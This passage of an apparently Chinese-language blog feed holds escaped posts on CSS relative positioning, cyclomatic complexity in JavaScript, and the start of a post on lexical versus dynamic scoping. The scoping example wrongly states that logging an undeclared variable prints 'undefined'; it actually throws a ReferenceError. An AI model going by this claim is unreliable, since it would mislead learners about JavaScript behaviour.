&lt;h2 id=&quot;“position：relative”的情况&quot;&gt;&lt;a href=&quot;#“position：relative”的情况&quot; class=&quot;headerlink&quot; title=&quot;“position：relative”的情况&quot;&gt;&lt;/a&gt;“position：relative”的情况&lt;/h2&gt;&lt;p&gt;position设置为relative的定位方式，left如果设置为百分比计算的数值是：父级元素内容区域的宽度 &lt;em&gt; 百分比，top值则是：父级元素内容区域的高度 &lt;/em&gt; 百分比。那么这个left是相对于自身的除边框之外的最左边，还是相对于自身左边框的最左边的距离呢？&lt;/p&gt;
&lt;p&gt;看看下面的例子：&lt;/p&gt;
&lt;figure class=&quot;highlight css&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;selector-class&quot;&gt;.parent&lt;/span&gt; &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;attribute&quot;&gt;width&lt;/span&gt;: &lt;span class=&quot;number&quot;&gt;150px&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;attribute&quot;&gt;height&lt;/span&gt;: &lt;span class=&quot;number&quot;&gt;150px&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;attribute&quot;&gt;background&lt;/span&gt;: red;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;selector-class&quot;&gt;.child&lt;/span&gt; &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;attribute&quot;&gt;width&lt;/span&gt;: &lt;span class=&quot;number&quot;&gt;75px&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;attribute&quot;&gt;height&lt;/span&gt;: &lt;span class=&quot;number&quot;&gt;75px&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;attribute&quot;&gt;position&lt;/span&gt;: relative;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;attribute&quot;&gt;left&lt;/span&gt;: &lt;span class=&quot;number&quot;&gt;75px&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;attribute&quot;&gt;border&lt;/span&gt;: &lt;span class=&quot;number&quot;&gt;10px&lt;/span&gt; solid orange;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&amp;lt;div &lt;span class=&quot;class&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;class&lt;/span&gt;&lt;/span&gt;=&lt;span class=&quot;string&quot;&gt;&#39;parent&#39;&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;xml&quot;&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;&lt;span class=&quot;name&quot;&gt;div&lt;/span&gt; &lt;span class=&quot;attr&quot;&gt;class&lt;/span&gt;=&lt;span class=&quot;string&quot;&gt;&#39;child&#39;&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/&lt;span class=&quot;name&quot;&gt;div&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;lt;&lt;span class=&quot;regexp&quot;&gt;/div&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;&lt;img src=&quot;http://o6lqh5p0j.bkt.clouddn.com/%E5%9D%90%E6%A0%87%E7%B3%BB%E5%8F%98%E6%8D%A2%EF%BC%9ACSS%E7%BB%9D%E5%AF%B9%E5%AE%9A%E4%BD%8D%E6%96%B9%E5%BC%8F.png&quot; alt=&quot;灵活的坐标系变换：CSS的position定位方式&quot;&gt;&lt;/p&gt;
&lt;p&gt;上图的虚线框部分是目标元素正常的位置。可见，relative定位的元素left值是左边框相对于正常位置左边框的距离。&lt;/p&gt;
&lt;h2 id=&quot;小结&quot;&gt;&lt;a href=&quot;#小结&quot; class=&quot;headerlink&quot; title=&quot;小结&quot;&gt;&lt;/a&gt;小结&lt;/h2&gt;&lt;p&gt;掌握了CSS中 &lt;code&gt;position&lt;/code&gt; 的各种定位方式，则掌握了CSS定位机制的半壁江山，可以在指哪放哪的道路上越走越自信，不必担忧它是否在不同设备上拥有一致的表现。所谓懂得，便能宽心。&lt;/p&gt;
</content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;CSS中的经纬度&quot;&gt;&lt;a href=&quot;#CSS中的经纬度&quot; class=&quot;headerlink&quot; title=&quot;CSS中的经纬度&quot;&gt;&lt;/a&gt;CSS中的经纬度&lt;/h2&gt;&lt;p&gt;学过数学的孩子都应该知道，对待很多坐标系下的几何数学问题，如果执拗于题设给出的坐标系可真就太傻了，坐标系只是解决问题的辅助方法，只是某个惯性系下的相对位置（论物理对码农的重要性！），如果你不喜欢，完全可以建立确立新的坐标原点，建立新的坐标系。&lt;/p&gt;
    
    </summary>
    
      <category term="CSS" scheme="tomasran.space/category/CSS/"/>
    
    
      <category term="绝对定位" scheme="tomasran.space/tags/%E7%BB%9D%E5%AF%B9%E5%AE%9A%E4%BD%8D/"/>
    
      <category term="absolute定位" scheme="tomasran.space/tags/absolute%E5%AE%9A%E4%BD%8D/"/>
    
      <category term="relative定位" scheme="tomasran.space/tags/relative%E5%AE%9A%E4%BD%8D/"/>
    
  </entry>
  
  <entry>
    <title>关注代码中的圈复杂度</title>
    <link href="tomasran.space/archives/0JIUXRpCu91_D8gPSbCI3g/"/>
    <id>tomasran.space/archives/0JIUXRpCu91_D8gPSbCI3g/</id>
    <published>2016-07-02T00:55:35.000Z</published>
    <updated>2016-07-02T01:22:39.000Z</updated>
    
    <content type="html">&lt;h2 id=&quot;知己知彼，国际惯例先定义&quot;&gt;&lt;a href=&quot;#知己知彼，国际惯例先定义&quot; class=&quot;headerlink&quot; title=&quot;知己知彼，国际惯例先定义&quot;&gt;&lt;/a&gt;知己知彼，国际惯例先定义&lt;/h2&gt;&lt;p&gt;定义自然是很重要的，知己知彼，所以游刃有余。&lt;/p&gt;
&lt;p&gt;定义：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;圈复杂度（Cyclomatic Complexity）是软件测试的一个衡量标准，代表程序中线性独立的路径的个数。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;a id=&quot;more&quot;&gt;&lt;/a&gt;
&lt;blockquote&gt;
&lt;p&gt;线性独立路径是指程序中至少引进一个新的处理语句集合或一个新条件的任一路径。采用流图的术语，即独立路径必须包含一条在定义路径之前不曾用到的边。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;圈复杂度是能够定量进行计算的。我们借助程序控制流程图来分析一下它的计算方法。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://cl.ly/0Y2y2S300u0y/Snip20160415_2.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;p&gt;将一个简单的程序控制流程绘图如上，每一个圆圈代表程序的一个执行步骤，命名为‘节点’（命名是为了方便后面的描述）；每一个带方向的箭头表示了该程序的执行路径，命名为‘路径’。可以很清晰地看见程序中存在着循环和分支结构。&lt;/p&gt;
&lt;p&gt;那么接下来就是圈复杂度的计算公式：&lt;/p&gt;
&lt;figure class=&quot;highlight mathematica&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;公式&lt;span class=&quot;number&quot;&gt;1&lt;/span&gt;：V(G) = &lt;span class=&quot;keyword&quot;&gt;E&lt;/span&gt; - &lt;span class=&quot;keyword&quot;&gt;N&lt;/span&gt; + &lt;span class=&quot;number&quot;&gt;2&lt;/span&gt; * P&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;E代表控制流程图的路径数量，N代表节点数量，那么P代表的是什么？它指的是程序的构成组件的个数。而从程序的控制流图来看，直接反映是节点互相是连通的流程图的个数（每一个独立的程序都有自己的控制流图，公式1可以用来整体分析多个独立程序或方法的圈复杂度）。上例中各个节点都是相连通的，因此只有一个独立组件。&lt;/p&gt;
&lt;p&gt;对单个出入口的程序来说，P值始终为1，因此公式可以简写为：&lt;/p&gt;
&lt;figure class=&quot;highlight mathematica&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;公式&lt;span class=&quot;number&quot;&gt;2&lt;/span&gt;：V(G) = &lt;span class=&quot;keyword&quot;&gt;E&lt;/span&gt; - &lt;span class=&quot;keyword&quot;&gt;N&lt;/span&gt; + &lt;span class=&quot;number&quot;&gt;2&lt;/span&gt; （适用于单个出入口情况）&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;现在介绍另一种情况（做图有王小二过年的气势）：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://cl.ly/1p462O3A3F06/Snip20160415_3.png&quot; alt=&quot;强连通图&quot;&gt;&lt;/p&gt;
&lt;p&gt;对于这样一个强连通的控制流图（强连通图是指有向图中的每一个节点都有至少一个流入和流出，数学形式的定义更为严谨，可以问 &lt;a href=&quot;http://baike.baidu.com/link?url=2ZynNeGc5lJK8JwOyCpLOk8qjiVZQZKbrcV0RIYCq3CJ8u0imBOyA8ZKDqAHgY5SxCmzMKIYxBCBzLpEL04fwK&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;度娘&lt;/a&gt;），计算它的圈复杂度可以采用公式：&lt;/p&gt;
&lt;figure class=&quot;highlight mathematica&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;公式&lt;span class=&quot;number&quot;&gt;3&lt;/span&gt;：V(G) = &lt;span class=&quot;keyword&quot;&gt;E&lt;/span&gt; - &lt;span class=&quot;keyword&quot;&gt;N&lt;/span&gt; + P&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;控制流图中增加了一条从终点到起点的路径，整个流图形成了一个闭环。采用公式是很正确的做法，但是如果懒到不想计算的话，对于这个闭环我们还可以采取其他的方法得到它的圈复杂度，那就是数数在这个闭环中有多少不同的线性独立回路，说的通俗易懂点，就是控制流图中循环圈圈的个数（注意：必须是可循环的圈圈，并且不包含子圈）。一个简单的图示：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://cl.ly/0M100Z2S0M3H/Snip20160416_4.png&quot; alt=&quot;线性独立图示&quot;&gt;&lt;/p&gt;
&lt;p&gt;公式3还有一个听上去很正式的名字叫做 &lt;a href=&quot;https://en.wikipedia.org/wiki/Betti_number&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;第一贝蒂数（the first Betti number）&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;在编程的过程中，通过绘制程序的控制流图来计算圈复杂度，进而将其控制在一个较低水平显然是一件极其麻烦的事儿，这里有更便捷的方法来帮助降低程序圈复杂度，当然，捷径的终点必须和我们想要去的地方一致。Thomas J. McCabe 为我们证明了这一点：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;如果一个结构化程序只有一个进入点和一个结束点，那么它的圈复杂度等于程序中决策点（分支、条件循环）的个数加 1。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这给我们的实际指导就是在编码的过程中尽量减少使用循环和分支结构。&lt;/p&gt;
&lt;p&gt;这个证明已经被推广到单个进入点，多个结束点的情况：&lt;/p&gt;
&lt;figure class=&quot;highlight cos&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;公式&lt;span class=&quot;number&quot;&gt;4&lt;/span&gt;： V(G) = π - &lt;span class=&quot;keyword&quot;&gt;s&lt;/span&gt; + &lt;span class=&quot;number&quot;&gt;2&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;π 指的是决策点的个数，s 指的是结束点的个数。&lt;/p&gt;
&lt;p&gt;到这里，我们可以得出一个等式：&lt;/p&gt;
&lt;figure class=&quot;highlight fix&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;attr&quot;&gt;降低圈复杂度 &lt;/span&gt;=&lt;span class=&quot;string&quot;&gt; 减少分支 + 减少循环&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;程序判定结构的多少与其复杂度呈正相关，而复杂度的高低和程序的质量呈负相关（判定本身就是一件伤脑经的事儿，至少纯粹是与非的判定中你就要不得不设计两种结果，对于测试来说就要增加测试用例）。我们的目标很明确，减少判定，降低圈复杂度，提高程序质量，坚持“看着舒心，用着放心”的可持续发展道路。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;h2&gt;对症下药，如何降低 javascript 中的圈复杂度&lt;/h2&gt;&lt;br&gt;上面的定义和分析已经为我们在任何结构化语言的编码过程中减少圈复杂度指定了统一的大政方针：减少分支和循环的使用，那么接下来，我们就需要考虑具体的落实措施了。&lt;p&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;变量尽量初始化。减少undefined和null的出现，可以消除部分场景中的分支判断。&lt;/li&gt;
&lt;li&gt;&lt;p&gt;使用javascript的对象Object帮助减少分支。javascript对象是一张哈希表，直接寻址寻址速度快，用它来减少分支也能提升代码执行效率。举个锤子：&lt;/p&gt;
  &lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt; (a === &lt;span class=&quot;string&quot;&gt;&#39;dog&#39;&lt;/span&gt;) &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  ......&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125; &lt;span class=&quot;keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt; (a === &lt;span class=&quot;string&quot;&gt;&#39;cat&#39;&lt;/span&gt;) &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  ......&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125; &lt;span class=&quot;keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt; (a === &lt;span class=&quot;string&quot;&gt;&#39;mice&#39;&lt;/span&gt;) &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  ......&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125; &lt;span class=&quot;keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt; (a === &lt;span class=&quot;string&quot;&gt;&#39;duck&#39;&lt;/span&gt;) &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  ......&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125; &lt;span class=&quot;keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt; (a === &lt;span class=&quot;string&quot;&gt;&#39;pig&#39;&lt;/span&gt;) &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  ......&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125; ...&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;大量的 if-else 看上去丑陋不说，让代码的圈复杂度一路飙升，那么利用javascript的对象，我们可以这样改善代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt; animals = &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;string&quot;&gt;&#39;dog&#39;&lt;/span&gt;: &lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;(&lt;span class=&quot;params&quot;&gt;&lt;/span&gt;) &lt;/span&gt;&amp;#123;&amp;#125;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;string&quot;&gt;&#39;cat&#39;&lt;/span&gt;: &lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;(&lt;span class=&quot;params&quot;&gt;&lt;/span&gt;) &lt;/span&gt;&amp;#123;&amp;#125;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;string&quot;&gt;&#39;mice&#39;&lt;/span&gt;: &lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;(&lt;span class=&quot;params&quot;&gt;&lt;/span&gt;) &lt;/span&gt;&amp;#123;&amp;#125;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;string&quot;&gt;&#39;duck&#39;&lt;/span&gt;: &lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;(&lt;span class=&quot;params&quot;&gt;&lt;/span&gt;) &lt;/span&gt;&amp;#123;&amp;#125;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;string&quot;&gt;&#39;pig&#39;&lt;/span&gt;: &lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;(&lt;span class=&quot;params&quot;&gt;&lt;/span&gt;) &lt;/span&gt;&amp;#123;&amp;#125;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  ...&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;animals[a]();&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;效率提升，圈复杂度减少，不二选择。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;当定义的函数包含进行分支判断的参数，思考是否可以将路径的选择提前。简单来说，就是判断是否可以交给它的调用函数来选择，甚至交给用户自己去选择。这适用于一部分场景，举个锤子：比如页面上有几个按钮，现在js的处理逻辑是用户点击不同按钮，在js获取点击事件传递过来的参数后判断用户点击了哪一个，然后执行相应路径代码。现在，为了消除js的这个判断过程，我们可以对于不同的按钮绑定不同的点击事件，这样就可以消除js中关于用户究竟点了哪一个的判断。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;很多的javascript代码风格检测工具都可以检测程序的圈复杂度，比如 &lt;a href=&quot;https://codeclimate.com&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;Code Climate&lt;/a&gt;等等，它们会单独检测每个函数的圈复杂度（单个函数的圈复杂度不包含其内部调用函数的圈复杂度）。对于圈复杂度过高的函数定义自然就会对你采取丑拒的姿态，比较非专业的解决方法是将内部判断部分提取出来重新定义函数，这样可以骗过分析器，但是从根本上来讲是投机取巧万万不可取也。最佳途径自然是优化代码，减少分支、循环的数量。&lt;/p&gt;
&lt;h2 id=&quot;友情推荐，工欲善其事必先利其器&quot;&gt;&lt;a href=&quot;#友情推荐，工欲善其事必先利其器&quot; class=&quot;headerlink&quot; title=&quot;友情推荐，工欲善其事必先利其器&quot;&gt;&lt;/a&gt;友情推荐，工欲善其事必先利其器&lt;/h2&gt;&lt;p&gt;那么，如何去检测javascript代码的圈复杂度呢？画流程图自然不可取，数代码中的循环和分支的个数显然也不是懒惰的程序员喜欢做的（稍微复杂的代码就能让你眼冒金星）。自然去寻找一些好用的工具帮助我们提升效率，这里有两个推荐：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在线检测网站：&lt;a href=&quot;http://www.jscomplexity.org/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;JSComplexity&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;命令行检测工具：&lt;a href=&quot;https://github.com/jared-stilwell/complexity-report&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;complexity-report&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;知己知彼，国际惯例先定义&quot;&gt;&lt;a href=&quot;#知己知彼，国际惯例先定义&quot; class=&quot;headerlink&quot; title=&quot;知己知彼，国际惯例先定义&quot;&gt;&lt;/a&gt;知己知彼，国际惯例先定义&lt;/h2&gt;&lt;p&gt;定义自然是很重要的，知己知彼，所以游刃有余。&lt;/p&gt;
&lt;p&gt;定义：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;圈复杂度（Cyclomatic Complexity）是软件测试的一个衡量标准，代表程序中线性独立的路径的个数。&lt;/p&gt;
&lt;/blockquote&gt;
    
    </summary>
    
      <category term="Investigation" scheme="tomasran.space/category/Investigation/"/>
    
    
      <category term="圈复杂度" scheme="tomasran.space/tags/%E5%9C%88%E5%A4%8D%E6%9D%82%E5%BA%A6/"/>
    
      <category term="Cyclomatic Complexity" scheme="tomasran.space/tags/Cyclomatic-Complexity/"/>
    
  </entry>
  
  <entry>
    <title>词法作用域和动态作用域的点点剖析</title>
    <link href="tomasran.space/archives/jQXql7YNdkgCoEzgWHxioA/"/>
    <id>tomasran.space/archives/jQXql7YNdkgCoEzgWHxioA/</id>
    <published>2016-07-01T08:56:19.000Z</published>
    <updated>2016-07-02T01:07:25.000Z</updated>
    
    <content type="html">&lt;h2 id=&quot;作用域和作用域链&quot;&gt;&lt;a href=&quot;#作用域和作用域链&quot; class=&quot;headerlink&quot; title=&quot;作用域和作用域链&quot;&gt;&lt;/a&gt;作用域和作用域链&lt;/h2&gt;&lt;p&gt;不同的国家制定不同的法律来依法量刑。但是法律有界限，它们只对自己的国民有着束缚之力。各国的法律只有在自己国土上才有效，才被认可，这个有效范围的限制，就是法律的作用域。&lt;/p&gt;
&lt;p&gt;作用域即是对权限的界定。作用域的主体是不可忽视的，它明确了是对什么事物的权限界定。上面所讲的，法律就是作用域的主体。&lt;/p&gt;
&lt;a id=&quot;more&quot;&gt;&lt;/a&gt;
&lt;p&gt;那么什么是作用域链呢？假设现在从地方乡镇到市政府到省政府指定了不完全相同的法律。某人做了一件有违公共道德的事情，地方乡镇发现没有对该罪行制定相应的处罚措施，但是我们可是依法治国、以德治国的国家啊，不能就这样罢休！于是乡镇法院将人犯转移到市级法院，想让市法院依据指定的法律法规对其进行审判，市法院扫了一眼法律法规，也无可奈何，那就交给省法院吧（人犯走了不少路），省法院发现，哎，根据我们的法律法规，他这么做是要处刑的，哈哈，终于可以给这家伙定刑了吧，于是给他定了个xx犯的头衔。&lt;/p&gt;
&lt;p&gt;在这里，各级法院的法律法规就构成了一条法律的作用域链。我们从最底层的法院（靠人犯犯案地点最近的法院）进行向上查找，直到找到明确可以给他量刑的法律，然后名正言顺地把他打入大牢。&lt;/p&gt;
&lt;p&gt;我们可以理解为作用域就是法律制定的时候规定的有效范围，而作用域链是法律执行时候的一系列依据。&lt;/p&gt;
&lt;p&gt;在计算机中也存在着相同的概念，现在我们所要谈论的作用域，是编程语言中标识符的作用域；谈论的作用域链，是程序执行过程中标识符的取值的查找依据。&lt;/p&gt;
&lt;p&gt;因为编程语言设计的差异，目前，针对标识符，存在着两种不同的作用域规则，也就是两种不同的作用域链生成机制，一是词法作用域（Lexical Scoping），二是动态作用域（Dynamic Scoping）。它们规定了标识符（以下都称为变量）在程序中的可访问性。&lt;/p&gt;
&lt;h2 id=&quot;词法作用域&quot;&gt;&lt;a href=&quot;#词法作用域&quot; class=&quot;headerlink&quot; title=&quot;词法作用域&quot;&gt;&lt;/a&gt;词法作用域&lt;/h2&gt;&lt;p&gt;词法作用域又称静态作用域（Static Scoping），词法作用域是根据编译的阶段进行命名（编译阶段依次经历词法分析、语法分析、语义分析等阶段），意味着变量的作用域在编译的词法分析阶段就已经确定了。&lt;/p&gt;
&lt;p&gt;词法作用域规定变量的作用域链在声明的时候就已经确定，或者说在编译的时候已经确定，在声明它的代码块内部才可以被访问。以Javascript语言为例：&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt; a = &lt;span class=&quot;string&quot;&gt;&#39;a&#39;&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;title&quot;&gt;f&lt;/span&gt;(&lt;span class=&quot;params&quot;&gt;&lt;/span&gt;) &lt;/span&gt;&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt; b = &lt;span class=&quot;string&quot;&gt;&#39;b&#39;&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;built_in&quot;&gt;console&lt;/span&gt;.log(a);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;f();&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;built_in&quot;&gt;console&lt;/span&gt;.log(b);&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;上面的例子执行的最终结果是输出了字符 “a”、“undefined”，为什么？变量a的声明和函数f的声明都在同一个代码块中，所以在函数f的内部也可以访问到变量a，也就是外部的变量a在函数f内部访问的作用域链上；但是变量b的声明是在函数f的内部，因此不在外部代码块的作用域链上。&lt;/p&gt;
&lt;p&gt;这就是词法作用域指定的规则，需要牢记变量的作用域链是在声明时就已经生成确定。&lt;/p&gt;
&lt;h2 id=&quot;动态作用域&quot;&gt;&lt;a href=&quot;#动态作用域&quot; class=&quot;headerlink&quot; title=&quot;动态作用域&quot;&gt;&lt;/a&gt;动态作用域&lt;/h2&gt;&lt;p&gt;说完了静态作用域，现在可以谈谈它的老对手动态作用域，动态作用域的规则是：变量的作用域链的形成是在代码执行阶段。我们从一个例子说起：&lt;/p&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt; a = &lt;span class=&quot;string&quot;&gt;&#39;a&#39;&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;title&quot;&gt;f1&lt;/span&gt;(&lt;span class=&quot;params&quot;&gt;&lt;/span&gt;) &lt;/span&gt;&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;built_in&quot;&gt;console&lt;/span&gt;.log(a);&lt;/span&gt;&lt;br&gt;&lt;span 